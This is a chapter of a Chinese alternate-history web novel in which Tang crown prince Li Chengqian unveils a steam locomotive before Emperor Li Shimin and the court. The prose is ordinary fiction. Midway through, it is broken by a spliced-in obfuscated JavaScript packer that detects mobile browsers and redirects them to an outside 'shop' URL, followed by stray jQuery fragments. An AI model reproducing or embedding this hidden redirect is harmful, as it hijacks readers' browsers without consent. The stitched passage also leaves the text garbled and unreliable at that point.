初春，长安城外的原野上，一条黑色的“铁龙”静静地卧在崭新的轨道上。


    这条从长安西郊格物院起始，向东北延伸二十里至灞桥的试验铁道，耗费了整整一个冬天的工期。


    五千名工役在严寒中夯实地基、铺设枕木、镶嵌熟铁轨条。


    轨道的每一尺，都经过墨衡亲自校验——水平误差不得超过半寸，弯曲弧度必须精确到分。


    此刻，铁龙之首——“长安一号”蒸汽机车，正停在格物院外的起点站。


    它比两个月前的原型机庞大了近一倍，锅炉高达一丈，烟囱耸立如塔，两个直径六尺的主动轮透着冷硬的钢铁质感。


    车身后挂着五节敞篷车厢，每节都满载着用麻绳固定的青石条，总重一万两千斤。


    站台周围，禁军三步一岗，五步一哨。


    观礼台上，李世民裹着貂裘，坐在龙椅上。


    文武百官按品秩列坐，各国使节安排在侧翼。


    更外围，是获准观礼的长安百姓，人山人海，翘首以盼。


    李承乾站在机车旁，与墨衡做最后的确认。


    “压力？”他问。


    “每平方寸六十五磅，稳定。”


    墨衡盯着压力表，脸上油污未擦，眼睛布满血丝——他已三天三夜未离工坊。


    “制动？”


    “手动闸、蒸汽逆止阀、沙箱，三重保险。”


    “司炉？”


    “四人轮值，都是老手。”


    李承乾点头，转身走向观礼台。


    玄色太子常服在春风中微微拂动，他步伐稳健，目光扫过全场时，人群自然安静下来。


    “父皇，”他躬身，“一切就绪。”


    李世民激动地抬起手：“开始吧。”


    李承乾回到机车旁，向墨衡点头。


    “呜——！”


    汽笛长鸣，声震四野。


    那是一种从未听过的声音，低沉、浑厚、穿透力极强，惊起飞鸟无数。


    观众中传来压抑的惊呼，几个胡人使节本能地按住腰间佩刀。


    墨衡深吸一口气，推动操纵杆。


    咔嚓……咔嚓……


    主动轮开始转动，起初缓慢，钢铁轮缘与铁轨摩擦出刺耳的声响，迸溅出零星火星。随即，在蒸汽的强力推动下，转速骤然加快。


    动了！


    这个重达八万斤的钢铁巨兽，拖着五节满载的车厢，平稳地驶离站台。


    白烟从烟囱喷涌，在湛蓝的天空中拉出一道笔直的云迹。


    黑烟夹杂着火星，随着活塞有节奏的轰鸣喷吐。


    “神迹……”


    房玄龄手中的茶盏跌落，碎瓷四溅，他却浑然不觉。


    魏征站起身，胡须剧烈颤抖。


    他张了张嘴，想说什么，却发不出声音——这位以直言敢谏著称的老臣，第一次在朝堂之外失了言语。


    最激动的是工部尚书闫立德。


    他扑到观礼台栏杆前，半个身子都探了出去，眼睛死死盯着车轮与铁轨的接触点：“真的……真的承住了！铁能承铁，铁能行铁！”


    轨道两旁，百姓们随着机车的前进而移动。


    起初是小步跟随，然后是奔跑，最后形成两股汹涌的人潮，追随着这个轰鸣的怪物。


    孩子们尖叫着，指着机车上旋转的连杆；老人们跪倒在地，口称“鲁班再世”；


    年轻人们则兴奋地议论着这铁家伙能拉多少货、跑多快。


    机车速度越来越快，达到每个时辰四十五里。


    风吹动车头旗杆上的唐字龙旗，猎猎作响。


    五里外的折返点已清晰可见——那里竖着一面红旗。


    “减速！”墨衡下令。


    司炉关闭部分风门，墨衡拉动制动闸。


    一阵刺耳的摩擦声，车速平稳下降，在红旗前五十丈稳稳停下。


    静。


    只有锅炉轻微的嘶嘶声，和观众粗重的喘息声。


    然后，爆发出山呼海啸般的欢呼。


    “万胜！万胜！万胜！”


    声浪一波高过一波，连远离轨道的长安城墙似乎都在震动。


    禁军士兵也忘了纪律，跟着振臂高呼，眼中闪着激动的泪光。


    观礼台上，李世民紧紧抓住轮椅扶手，指节发白。


    他看向李承乾，嘴唇颤抖：“乾儿……此物……此物……”


    “父皇，这才是开始。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028174|177268||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    李承乾轻声道，“有了它，关中粮草转运，时间可缩短七成，成本可降低六成。


    从长安到洛阳，陆路七日，若修通铁道，两日可达。”


    户部尚书唐俭已经掏出随身算盘，噼里啪啦打得飞快，口中念念有词：“漕运损耗三成，陆运损耗五成，若以此物……若以此物……”


    他突然抬起头，老眼放光，“殿下！若修通长安至洛阳铁道，仅漕粮一项，每年可节省运费八十万贯！”


    “不止。”李承乾指向机车，“它还能运兵。”


    李世民眼神一凛。


    “陇右告急，骑兵疾驰需十日，步卒需一月。


    若有铁道，步卒五日可至，且可携带重型器械——比如，火炮。”


    全场陡然安静。


    将军们面面相觑，随即眼中燃起熊熊火焰。程咬金第一个跳起来：“殿下！给老程三百门炮，五天拉到陇右，突厥人敢来，轰**！”


    “知节！”


    李勣低喝，但自己眼中也闪着精光。这位以稳重著称的名将，已经看到了全新的战争形态。


    李世民缓缓吐出一口气：“回程。”


    返程更为平稳。


    机车掉头后，以每个时辰五十里的速度飞驰——这已经是健马全力冲刺的速度，但它不知疲倦。


    风吹得车上旗帜笔直，白烟在身后拉出长长的轨迹。


    当机车稳稳停回起点站时，司仪高声报时：“往返二十里，用时五刻钟！”


    五刻钟！


    若用马车拉同样的重物，至少需要两个时辰，且需数十匹马、数十车夫！


    墨衡关闭蒸汽阀门，从机车上跳下。


    他的腿有些软——不仅是疲惫，更是释放了长久压力后的虚脱。


    李承乾扶住他。


    “辛苦了。”


    “臣……幸不辱命。”墨衡声音沙哑。


    李世民在观礼台召见全体参与制造的工匠。


    当这些衣衫沾满油污、双手粗糙皲裂的汉子跪在面前时，皇帝沉默良久。


    “平身。”


    众人起身，局促不安。


    他们大多是匠籍，从未如此近距离面圣。


    …………